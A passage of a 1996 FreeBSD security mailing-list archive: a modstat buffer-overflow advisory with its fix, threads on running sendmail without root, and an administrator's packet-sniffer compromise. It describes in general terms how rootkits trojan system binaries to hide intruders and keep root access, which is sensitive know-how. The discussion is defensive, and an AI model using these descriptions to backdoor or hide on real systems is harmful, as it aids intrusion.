Dec 1996 11:29:05 -0800 (PST) Received: (from guido@localhost) by gvr.win.tue.nl (8.8.2 with smtp patch/8.8.2) id UAA15958; Tue, 10 Dec 1996 20:28:47 +0100 (MET) Message-Id: <199612101928.UAA15958@gvr.win.tue.nl> From: FreeBSD Security Officer To: freebsd-security-notifications@freebsd.org, freebsd-announce@freebsd.org, freebsd-security@freebsd.org, first-teams@first.org Subject: FreeBSD Security Advisory: FreeBSD-SA-96:18.lpr (REVISED) Date: Tue, 10 Dec 1996 20:23:15 +0100 (MET) Reply-To: security-officer@freebsd.org Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= FreeBSD-SA-96:19 Security Advisory FreeBSD, Inc. Topic: Buffer overflow in modstat Category: core Module: modstat Announced: 1996-12-10 Affects: FreeBSD 2.0, 2.0.5, 2.1, 2.1.5, 2.1.6, 2.1.6.1 Corrected: FreeBSD-current as of 1996/08/08 FreeBSD only: no Patches: ftp://freebsd.org/pub/CERT/patches/SA-96:19/ ============================================================================= I. Background The modstat program is used to display status of loaded kernel modules. It is standard software in the FreeBSD operating system. II. Problem Description The modstat program has always been installed setuid kmem. Within the program, a buffer overflow can occur. III. Impact Local users can gain kmem privileges. IV. Workaround Modstat does not need to be setuid kmem. It is thus sufficient to do the following: su cd /usr/bin chmod 555 modstat This effectively clears the setuid bit on the modstat program. V. Solution Apply the following patch: (This patch can also be found on ftp://freebsd.org/pub/CERT/patches/SA-96:19) Index: Makefile =================================================================== RCS file: /home/freebsd/CVS/src/usr.bin/modstat/Makefile,v retrieving revision 1.1 retrieving revision 1.2 diff -u -r1.1 -r1.2 - --- Makefile 1994/08/19 12:14:02 1.1 +++ Makefile 1996/05/30 02:19:03 1.2 @@ -38,7 +38,5 @@ PROG= modstat MAN8= modstat.8 - -BINGRP= kmem - -BINMODE=2555 .include Index: modstat.c =================================================================== RCS file: /home/freebsd/CVS/src/usr.bin/modstat/modstat.c,v retrieving revision 1.3 retrieving revision 1.4 diff -u -r1.3 -r1.4 - --- modstat.c 1995/04/20 05:08:53 1.3 +++ modstat.c 1996/08/08 07:58:07 1.4 @@ -72,8 +72,9 @@ { struct lmc_stat sbuf; + sbuf.name[MAXLKMNAME - 1] = '\0'; /* In case strncpy limits the string. */ if (modname != NULL) - - strcpy(sbuf.name, modname); + strncpy(sbuf.name, modname, MAXLKMNAME - 1); sbuf.id = modnum; ============================================================================= FreeBSD, Inc. Web Site: http://www.freebsd.org/ Confidential contacts: security-officer@freebsd.org PGP Key: ftp://freebsd.org/pub/CERT/public_key.asc Security notifications: security-notifications@freebsd.org Security public discussion: security@freebsd.org Notice: Any patches in this document may not apply cleanly due to modifications caused by digital signature or mailer software. Please reference the URL listed at the top of this document for original copies of all patches if necessary. ============================================================================= -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMq2381UuHi5z0oilAQE99wP+NktTxugo1lrVDm0FVcmqd8c3zu6s95Wt WCvM9GLECCVB+sFbssbikQc35SvgzEjnE4lZ3J4VBrAoThG3tLOmO5si0csM8dwE QPGMyR/fdU7DpYXEK/XKuDxre1TDJ0uOwU9DfBewgy0o5OiybRR5dxj3nsJIznnd F5O6NNppKb0= =qcrF -----END PGP SIGNATURE----- From owner-freebsd-security Tue Dec 10 12:26:47 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id MAA27077 for security-outgoing; Tue, 10 Dec 1996 12:26:47 -0800 (PST) Received: from itchy.atlas.com ([206.29.170.239]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id MAA27070 for ; Tue, 10 Dec 1996 12:26:44 -0800 (PST) Received: (from brantk@localhost) by itchy.atlas.com (8.8.0/8.8.0) id MAA14200; Tue, 10 Dec 1996 12:27:53 -0800 (PST) Message-Id: <199612102027.MAA14200@itchy.atlas.com> Subject: Re: Running sendmail non-suid To: marcs@znep.com (Marc Slemko) Date: Tue, 10 Dec 1996 12:27:53 -0800 (PST) Cc: cschuber@uumail.gov.bc.ca, bmk@pobox.com, security@freebsd.org Reply-To: bmk@pobox.com In-Reply-To: from Marc Slemko at "Dec 9, 96 05:48:30 pm" From: "Brant Katkansky" Reply-To: bmk@pobox.com X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > On Mon, 9 Dec 1996, Cy Schubert - ITSD Open Systems Group wrote: > > > > [running sendmail not suid-root] > > > Has anyone actually done this? Any advice or gotchas to look out for? > > > Am I insane for wanting to do this? > > You are very sane to want to do this. Everyone else is insane. And I'm > serious about that. Someone should put together a document on making > sendmail run as a non-root uid. Another thing I'm thinking of playing > with sometime. > > If you want something smap like, without the licensing restrictions, you > could look at smtpd from ftp://ftp.obtuse.com/pub/smtpd. I'll take a look at this, thanks. > > > > > First you will need to create an smtp account. > > > > Next, chown /var/spool/mqueue, /var/mail, and /usr/sbin/sendmail to user > > smtp. > > > > Run a cronjob out of root's cron every 5 minutes to process the queue. > > You are missing something here WRT how to have sendmail bind to port 25. > There are three likely ways; have it run as root long enough to bind in a > similar fashion to most webservers, run it from inetd, or modify the > kernel to let a particular non-root user bind to port 25. If you have > sendmail running as a daemon using either the first or third methods, you > don't need to run sendmail from cron. I don't believe that running sendmail from inetd will be a viable option - anticipated load is too high. What I will likely do is run it non-suid, but start it as root, and give up root privelege as soon as the port is bound. I'd rather not muck around in the kernel. One thing I'd like to know is this: Once a process has changed it's effective UID to something other than root, can it ever change it's effective UID? -- Brant Katkansky (bmk@pobox.com, brantk@atlas.com) Software Engineer, ADC From owner-freebsd-security Tue Dec 10 12:57:32 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id MAA29448 for security-outgoing; Tue, 10 Dec 1996 12:57:32 -0800 (PST) Received: from www.trifecta.com (www.trifecta.com [206.245.150.3]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id MAA29438 for ; Tue, 10 Dec 1996 12:57:27 -0800 (PST) Received: (from dev@localhost) by www.trifecta.com (8.7.5/8.6.12) id PAA10944; Tue, 10 Dec 1996 15:57:31 -0500 (EST) Date: Tue, 10 Dec 1996 15:57:31 -0500 (EST) From: Dev Chanchani To: Richard Wackerbarth cc: Nate Williams , jkh@time.cdrom.com, freebsd-security@freebsd.org Subject: Re: Sendmail 8.8.4 questions... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I think you should go get a copy of BSDI and shaddup. On Wed, 4 Dec 1996, Richard Wackerbarth wrote: > >Shut up and get outta my way, since all you are doing is *hindering* the > >process of making things better. > > > >You *ARE* part of the problem, and not the solution. > > Yes, I am a problem because I am not satisfied with the posturing that you > make in your own little sandbox. If you want your system to be taken > seriously, you need to recognize that there is more to a system that just > the code. I happen to think that a major problem in acceptance is > (perceived) (lack of) "customer support". Jordan has made great progress in > making installation more "user friendly". We also need to make sure that we > address other needs of the "users". > Particularly if the intention is to target the commercial user rather than > the home hobbyist, you must remember that they need STABLE, SUPPORTED > systems. > > What you call a "release" has, by industry standards, had virtually no testing. > It needs to be field tested for some time before being placed into critical > service. In the interim, the users STILL need a SUPPORTED system. > > >ps. Apologies to those folks who think I'm being a bit harsh. I've just > >had it with Richard's 'pie-in-the-sky' solutions that never materialize > >that awlays seem to involve more of my time and none of his. > > On the contrary, I proposed that this effort involve participants other > than the "developers". However, it is your wish to restrict the "FreeBSD > organization" to your closed group which places the burden on yourselves. > > You (conveniently) forget that just a few messages back, I offered to do > the additional testing to assure that the changes going into 2.2 were also > appropriate for 2.1. > > I am both willing and able to support the source tree for 2.1 separate from > the main cvs tree. However, I do not think that is really a good idea. If > FreeBSD is to gain from any effort to support the reliable aging system, it > MUST be done under the banner of the organization. If that is done, I feel > it only prudent that the master copy of things be kept by the organization > in a unified manner. > > And you have now convinced me that, WRT the build system, your offer to > consider a "proof of concept" rather than the full thing was insincere and > any effort that I have made toward developing that demonstration has been > wasted effort. :-( > > > From owner-freebsd-security Tue Dec 10 13:03:43 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id NAA00237 for security-outgoing; Tue, 10 Dec 1996 13:03:43 -0800 (PST) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id NAA00229 for ; Tue, 10 Dec 1996 13:03:40 -0800 (PST) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.7.5/8.7.3) with UUCP id OAA23493; Tue, 10 Dec 1996 14:03:26 -0700 (MST) Received: from localhost (marcs@localhost) by alive.ampr.ab.ca (8.7.5/8.7.3) with SMTP id OAA22782; Tue, 10 Dec 1996 14:02:46 -0700 (MST) Date: Tue, 10 Dec 1996 14:02:45 -0700 (MST) From: Marc Slemko X-Sender: marcs@alive.ampr.ab.ca To: bmk@pobox.com cc: security@freebsd.org Subject: Re: Running sendmail non-suid In-Reply-To: <199612102027.MAA14200@itchy.atlas.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 10 Dec 1996, Brant Katkansky wrote: > > On Mon, 9 Dec 1996, Cy Schubert - ITSD Open Systems Group wrote: > > > > > > > > First you will need to create an smtp account. > > > > > > Next, chown /var/spool/mqueue, /var/mail, and /usr/sbin/sendmail to user > > > smtp. > > > > > > Run a cronjob out of root's cron every 5 minutes to process the queue. > > > > You are missing something here WRT how to have sendmail bind to port 25. > > There are three likely ways; have it run as root long enough to bind in a > > similar fashion to most webservers, run it from inetd, or modify the > > kernel to let a particular non-root user bind to port 25. If you have > > sendmail running as a daemon using either the first or third methods, you > > don't need to run sendmail from cron. > > I don't believe that running sendmail from inetd will be a viable option - > anticipated load is too high. What I will likely do is run it non-suid, > but start it as root, and give up root privelege as soon as the port is > bound. I'd rather not muck around in the kernel. The kernel change is really easy. Easier than messing with sendmail to make it change its UID, IMHO. In sys/netinet/in_pcb,c, note the lines: if (ntohs(lport) < IPPORT_RESERVED && (error = suser(p->p_ucred, &p->p_acflag))) return (EACCES); If you change to something like (uncompiled, untested): if (ntohs(lport) < IPPORT_RESERVED && error = suser(p->p_ucred, &p->p_acflag) && !((p->p_ucred->cr_uid == 1234) && (ntohs(lport) == 25)) ) return (EACCES); That says that if lport is in the reserved area, and they are not uid 0 and they are not (uid 1234 and trying to bind to port 25) don't let them. Then only UID 0 or 1234 will be able to bind to port 25. It is a hack, but for your purposes you don't have worry too much about making a good interface to it to allow dynamic changes. You may have other reasons for not wanting to mess with the kernel though. I haven't looked at it much, but the obviously place to modify sendmail to do a setuid is right after it forks in daemon.c. Be sure you deal with the saved UID. I would suspect that modifying it to setuid right after the bind() call would cause problems because I think sendmail may assume it can rebind to the port later on. You would have to check that out. > > One thing I'd like to know is this: Once a process has changed it's effective > UID to something other than root, can it ever change it's effective UID? Yes. It can change the euid to either the real UID or the saved UID. When exec is called, the effective and saved UIDs are set to the real UID. That means that if you fork, change the real UID to something then exec a program, in the program execed the real, saved, and effective UIDs will all be what you changed the real UID to. From owner-freebsd-security Tue Dec 10 13:27:50 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id NAA02399 for security-outgoing; Tue, 10 Dec 1996 13:27:50 -0800 (PST) Received: from www.trifecta.com (www.trifecta.com [206.245.150.3]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id NAA02393 for ; Tue, 10 Dec 1996 13:27:48 -0800 (PST) Received: (from dev@localhost) by www.trifecta.com (8.7.5/8.6.12) id QAA11238; Tue, 10 Dec 1996 16:27:27 -0500 (EST) Date: Tue, 10 Dec 1996 16:27:27 -0500 (EST) From: Dev Chanchani To: Brian Tao cc: FREEBSD-SECURITY-L Subject: Re: URGENT: Packet sniffer found on my system In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 10 Dec 1996, Brian Tao wrote: > I happened across an interesting little process today on a few of > ous servers. It appears to be the "sniffit" packet sniffer found in > the Linux RootKit. I can mail the binary to anyone who wants to > analyse it. Okay, ..so.. you found a sniffer from a rootkit package.. .... ...... you're rootkit'ed. Do you have a trusted backup? If not, save the config files and re-install the OS. I know it sounds ugly, but if they have patched your binaries (or you are not sure), re-install binaries you know are not patched. Patched binaries can be particulary ugly. Usually the user will patch a program that will allow them back into your system. This includes: httpd inetd login ftpd telnetd tcpd You get the picture... The user will have a secret password which will give them total access to any account (include ROOT) Next, by patching other binaries, kernel libs, etc. They can hide their files, disk usage, net connections, processes, basically they can be invisible. Try and found which account they used to comprimise the system, try to find what tools/scripts/evidence he left about which programs he exploited. Expire all the passwords and re-install all the system binaries and hopefully he will go away. Fact of the matter is, he may find himself patched all over the network. Best to try and scare him away from your network. If you have any questions, drop me a line. --Dev From owner-freebsd-security Tue Dec 10 13:28:13 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id NAA02463 for security-outgoing; Tue, 10 Dec 1996 13:28:13 -0800 (PST) Received: from gvr.win.tue.nl (root@gvr.win.tue.nl [131.155.210.19]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id NAA02455 for ; Tue, 10 Dec 1996 13:28:10 -0800 (PST) Received: (from guido@localhost) by gvr.win.tue.nl (8.8.4/8.8.2) id WAA17440; Tue, 10 Dec 1996 22:26:57 +0100 (MET) From: Guido van Rooij Message-Id: <199612102126.WAA17440@gvr.win.tue.nl> Subject: Re: Running sendmail non-suid In-Reply-To: <199612102027.MAA14200@itchy.atlas.com> from Brant Katkansky at "Dec 10, 96 12:27:53 pm" To: bmk@pobox.com Date: Tue, 10 Dec 1996 22:26:57 +0100 (MET) Cc: marcs@znep.com, cschuber@uumail.gov.bc.ca, bmk@pobox.com, security@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > I don't believe that running sendmail from inetd will be a viable option - > anticipated load is too high. What I will likely do is run it non-suid, > but start it as root, and give up root privelege as soon as the port is > bound. I'd rather not muck around in the kernel. I thought there is an option nowadays that does exactly this: O RunAsUser= -Guido From owner-freebsd-security Tue Dec 10 14:06:28 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id OAA05877 for security-outgoing; Tue, 10 Dec 1996 14:06:28 -0800 (PST) Received: from janus.saturn.net (brian@janus.saturn.net [206.42.0.10]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id OAA05863 for ; Tue, 10 Dec 1996 14:06:24 -0800 (PST) Received: (from brian@localhost) by janus.saturn.net (8.7.6/8.6.9) id SAA01724; Tue, 10 Dec 1996 18:05:20 -0500 Date: Tue, 10 Dec 1996 18:05:20 -0500 (EST) From: Brian Mitchell To: Brian Tao cc: Don Lewis , Karl Denninger , freebsd-security@freebsd.org Subject: Re: URGENT: Packet sniffer found on my system In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 10 Dec 1996, Brian Tao wrote: > > A trojan could have been planted in any of the binaries that root executes. > > As soon as root runs the program, it spawns a copy of the sniffer or open > > some other hole. You should do a comparsion of all the executables vs. > > those in a fresh copy of the distribution. > > One of these days I'm going to set up cops or tripwire to do this > for me on a regular basis. Heck, maybe even mtree, since it seems > like it can do that sort of stuff... > I'm not sure it is wise to announce to the world that you are not running a tripwire-style program. > > Even the kernel could have been hacked to make it easy to get root access, > > though it would probably be less obvious to give bpf access to a non-root > > sniffer. > > I don't think we're dealing with someone that sophisticated yet. > They would have had to patch a running kernel, since there hasn't been > any recent reboots. That's what lkm is for, but you are probably right about the sophistication level. If you can not trust your kernel, you are in heaps of trouble, and can not be sure of anything (including md5s). ####################################################################### Brian Mitchell brian@saturn.net ####################################################################### From owner-freebsd-security Tue Dec 10 14:10:11 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id OAA06147 for security-outgoing; Tue, 10 Dec 1996 14:10:11 -0800 (PST) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id OAA06137 for ; Tue, 10 Dec 1996 14:10:09 -0800 (PST) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.7.5/8.7.3) with UUCP id PAA26410; Tue, 10 Dec 1996 15:09:51 -0700 (MST) Received: from localhost (marcs@localhost) by alive.ampr.ab.ca (8.7.5/8.7.3) with SMTP id PAA23140; Tue, 10 Dec 1996 15:08:54 -0700 (MST) Date: Tue, 10 Dec 1996 15:08:54 -0700 (MST) From: Marc Slemko X-Sender: marcs@alive.ampr.ab.ca To: Guido van Rooij cc: bmk@pobox.com, security@freebsd.org Subject: Re: Running sendmail non-suid In-Reply-To: <199612102126.WAA17440@gvr.win.tue.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 10 Dec 1996, Guido van Rooij wrote: > > > > I don't believe that running sendmail from inetd will be a viable option - > > anticipated load is too high. What I will likely do is run it non-suid, > > but start it as root, and give up root privelege as soon as the port is > > bound. I'd rather not muck around in the kernel. > > I thought there is an option nowadays that does exactly this: > > O RunAsUser= Not really. From the RELEASE_NOTES: Add new RunAsUser option; this causes sendmail to do a setuid to that user early in processing to avoid potential security problems. However, this means that all .forward and :include: files must be readable by that user, and on systems that don't support the saved uid bit properly, all files to be written must be writable by that user and all programs will be executed by that user. It is also incompatible with the SafeFileEnvironment option. In other words, it may not actually add much to security. However, it should be useful on firewalls and other places where users don't have accounts and the aliases file is well constrained. It runs more as root than alternative solutions. grep the sources for RunAsUid to see where it actually does the switches. From owner-freebsd-security Tue Dec 10 17:21:28 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id RAA20078 for security-outgoing; Tue, 10 Dec 1996 17:21:28 -0800 (PST) Received: from Zero-Cool.Hades.Org (root@d1b20.uk.pi.net [194.73.76.48]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id RAA19737 for ; Tue, 10 Dec 1996 17:18:43 -0800 (PST) Received: (from scot@localhost) by Zero-Cool.Hades.Org (8.7.5/8.7.3) id BAA06780; Wed, 11 Dec 1996 01:18:40 GMT Date: Wed, 11 Dec 1996 01:10:00 +0000 (GMT) From: Scot Elliott Reply-To: pumpkin@uk.pi.net To: secutiry@freebsd.org Subject: Re: Running sendmail non-suid In-Reply-To: <199612102027.MAA14200@itchy.atlas.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII ReSent-Date: Wed, 11 Dec 1996 01:18:33 +0000 (GMT) ReSent-From: Scot Elliott ReSent-To: FreeBSD Security list ReSent-Message-ID: Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 10 Dec 1996, Brant Katkansky wrote: > > One thing I'd like to know is this: Once a process has changed it's effective > UID to something other than root, can it ever change it's effective UID? > > -- Brant Katkansky (bmk@pobox.com, brantk@atlas.com) > Software Engineer, ADC > > It depends on how the root process set it's effective user-id... if it used setuid() then all the ids' (effective, real and saved-set) will be set to the new id, and the process will then not be able to change back to root... [this is what login(1) does when a user logs in.] If the set-uid-root executable called seteuid() to set its effective user-id back to that of the real-user id, then the then-unprivilaged program can set it's effective-id back to root at any time using a seteuid() call, because the origional seteuid() did not reset the saved-set-used-id. This is kind of the point - a set-user-id program can use it's extra privilages only when it requires them, and keep to those of the origional user at other times. Scot. --------------------------------------------------------------------------- | Scot Elliott | Please note that any opinions | | MEng Computing IV. | expressed are mine, and not those | | Imperial College, London | of the department or college. | --------------------------------------------------------------------------- | e-mail: s.elliott@ic.ac.uk | IRC nick: PlumbrBoy | | pumpkin@uk.pi.net | "You are everything in my fridge" | --------------------------------------------------------------------------- From owner-freebsd-security Tue Dec 10 17:47:08 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id RAA23323 for security-outgoing; Tue, 10 Dec 1996 17:47:08 -0800 (PST) Received: from ican.net (ican.net [198.133.36.9]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id RAA23318 for ; Tue, 10 Dec 1996 17:47:06 -0800 (PST) Received: from gate.ican.net(really [198.133.36.2]) by ican.net via sendmail with esmtp id for ; Tue, 10 Dec 1996 20:47:04 -0500 (EST) (Smail-3.2 1996-Jul-4 #1 built 1996-Jul-10) Received: (from smap@localhost) by gate.ican.net (8.7.5/8.7.3) id UAA23089; Tue, 10 Dec 1996 20:43:46 -0500 (EST) Received: from nap.io.org(10.1.1.3) by gate.ican.net via smap (V1.3) id sma023087; Tue Dec 10 20:43:43 1996 Received: from localhost (taob@localhost) by nap.io.org (8.7.5/8.7.3) with SMTP id UAA10163; Tue, 10 Dec 1996 20:40:46 -0500 (EST) X-Authentication-Warning: nap.io.org: taob owned process doing -bs Date: Tue, 10 Dec 1996 20:40:46 -0500 (EST) From: Brian Tao To: Brian Mitchell cc: FREEBSD-SECURITY-L Subject: Re: URGENT: Packet sniffer found on my system In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 10 Dec 1996, Brian Mitchell wrote: > > I'm not sure it is wise to announce to the world that you are not running > a tripwire-style program. Now I didn't say *that*. I just said I would like to have something like tripwire to automate this for me, instead of diffing md5 output via a script I cobbled together. ;-) MD5 checksums of all files checked out (binaries, libs, lkms, scripts, etc.), including /sbin/md5 itself. There were no regular files in /dev other than MAKEDEV and MAKEDEV.local (a favourite hiding place for rootkit config files). No unexpected setuid executables have been found on any of the affected servers. I did find the following three files on one of the shell servers, which suggests the original compromise started there: -rw-r--r-- speff/user 2363 Dec 1 17:37 1996 usr/include/net/nit_buf.h -rw-r--r-- speff/user 2628 Dec 1 17:37 1996 usr/include/net/nit_if.h -rw-r--r-- speff/user 3016 Dec 1 17:37 1996 usr/include/sys/stropts.h The date on the files is worrisome: they are over a week old. The packet sniffer binaries and logs were no more than 24 hours old when I discovered them though, so I'm crossing my fingers and hoping he hasn't been watching packets longer than that. Thank god all our root sessions are done through end-to-end encrypted connections... -- Brian Tao (BT300, taob@io.org, taob@ican.net) Senior Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-security Tue Dec 10 18:12:39 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id SAA25691 for security-outgoing; Tue, 10 Dec 1996 18:12:39 -0800 (PST) Received: from ican.net (ican.net [198.133.36.9]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id SAA25680 for ; Tue, 10 Dec 1996 18:12:37 -0800 (PST) Received: from gate.ican.net(really [198.133.36.2]) by ican.net via sendmail with esmtp id for ; Tue, 10 Dec 1996 21:12:36 -0500 (EST) (Smail-3.2 1996-Jul-4 #1 built 1996-Jul-10) Received: (from smap@localhost) by gate.ican.net (8.7.5/8.7.3) id VAA23485; Tue, 10 Dec 1996 21:09:16 -0500 (EST) Received: from nap.io.org(10.1.1.3) by gate.ican.net via smap (V1.3) id sma023481; Tue Dec 10 21:08:50 1996 Received: from localhost (taob@localhost) by nap.io.org (8.7.5/8.7.3) with SMTP id VAA10340; Tue, 10 Dec 1996 21:05:54 -0500 (EST) X-Authentication-Warning: nap.io.org: taob owned process doing -bs Date: Tue, 10 Dec 1996 21:05:53 -0500 (EST) From: Brian Tao To: Dev Chanchani cc: FREEBSD-SECURITY-L Subject: Re: URGENT: Packet sniffer found on my system In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 10 Dec 1996, Dev Chanchani wrote: > > Okay, > ..so.. you found a sniffer from a rootkit package.. > .... > ...... you're rootkit'ed. I found none of the trojans or other telltales signs of rootkit on the compromised systems. The user's home directory didn't have any of the source files left when I checked, just the sniffit binary. I'm familiar with the rootkit distribution, and none of it (besides the packet sniffer) appears to have been installed here. > Expire all the passwords and re-install all the system binaries and > hopefully he will go away. All staff have been notified to cycle their passwords. What to do with the user base is an entirely different matter... -- Brian Tao (BT300, taob@io.org, taob@ican.net) Senior Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-security Tue Dec 10 18:23:42 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id SAA26771 for security-outgoing; Tue, 10 Dec 1996 18:23:42 -0800 (PST) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id SAA26758 for ; Tue, 10 Dec 1996 18:23:39 -0800 (PST) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.2/8.7.3) id MAA21192; Wed, 11 Dec 1996 12:53:24 +1030 (CST) From: Michael Smith Message-Id: <199612110223.MAA21192@genesis.atrad.adelaide.edu.au> Subject: Re: URGENT: Packet sniffer found on my system In-Reply-To: from Brian Tao at "Dec 10, 96 08:40:46 pm" To: taob@io.org (Brian Tao) Date: Wed, 11 Dec 1996 12:53:23 +1030 (CST) Cc: brian@saturn.net, freebsd-security@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Brian Tao stands accused of saying: > > I did find the following three files on one of the shell servers, > which suggests the original compromise started there: > > -rw-r--r-- speff/user 2363 Dec 1 17:37 1996 usr/include/net/nit_buf.h > -rw-r--r-- speff/user 2628 Dec 1 17:37 1996 usr/include/net/nit_if.h > -rw-r--r-- speff/user 3016 Dec 1 17:37 1996 usr/include/sys/stropts.h *snort* Amusing to note that none of these are BSD-relevant (NIT is the Sun equivalent of BPF, and stropts?). One can hope that your hacker was less than genius material. 8) > Brian Tao (BT300, taob@io.org, taob@ican.net) -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-security Tue Dec 10 18:33:18 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id SAA28070 for security-outgoing; Tue, 10 Dec 1996 18:33:18 -0800 (PST) Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [128.120.56.38]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id SAA28061 for ; Tue, 10 Dec 1996 18:33:17 -0800 (PST) Received: (from obrien@localhost) by relay.nuxi.com (8.7.5/8.6.12) id SAA06716; Tue, 10 Dec 1996 18:33:29 -0800 (PST) Message-ID: Date: Tue, 10 Dec 1996 18:33:29 -0800 From: obrien@NUXI.com (David E. O'Brien) To: taob@io.org (Brian Tao) Cc: freebsd-security@freebsd.org Subject: Re: URGENT: Packet sniffer found on my system References: X-Mailer: Mutt 0.53 Mime-Version: 1.0 X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 In-Reply-To: ; from Brian Tao on Dec 10, 1996 20:40:46 -0500 Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Brian Tao writes: > I did find the following three files on one of the shell servers, > which suggests the original compromise started there: > > -rw-r--r-- speff/user 2363 Dec 1 17:37 1996 usr/include/net/nit_buf.h > -rw-r--r-- speff/user 2628 Dec 1 17:37 1996 usr/include/net/nit_if.h > -rw-r--r-- speff/user 3016 Dec 1 17:37 1996 usr/include/sys/stropts.h Hum... these are from SunOS 4.1.3_U1: ls -l /usr/include/net -r--r--r-- 1 root 2363 Jan 20 1994 nit_buf.h -r--r--r-- 1 root 2628 Jan 20 1994 nit_if.h ls -l /usr/include/sys -r--r--r-- 1 root 3016 Jan 20 1994 stropts.h Hum.. wonder what he was doing with these files. I can't see where they would be any use on a FreeBSD box. -- -- David (obrien@cs.ucdavis.edu) From owner-freebsd-security Tue Dec 10 18:43:42 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id SAA29744 for security-outgoing; Tue, 10 Dec 1996 18:43:42 -0800 (PST) Received: from ican.net (ican.net [198.133.36.9]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id SAA29739 for ; Tue, 10 Dec 1996 18:43:40 -0800 (PST) Received: from gate.ican.net(really [198.133.36.2]) by ican.net via sendmail with esmtp id for ; Tue, 10 Dec 1996 21:43:37 -0500 (EST) (Smail-3.2 1996-Jul-4 #1 built 1996-Jul-10) Received: (from smap@localhost) by gate.ican.net (8.7.5/8.7.3) id VAA24336; Tue, 10 Dec 1996 21:40:17 -0500 (EST) Received: from nap.io.org(10.1.1.3) by gate.ican.net via smap (V1.3) id sma024330; Tue Dec 10 21:39:51 1996 Received: from localhost 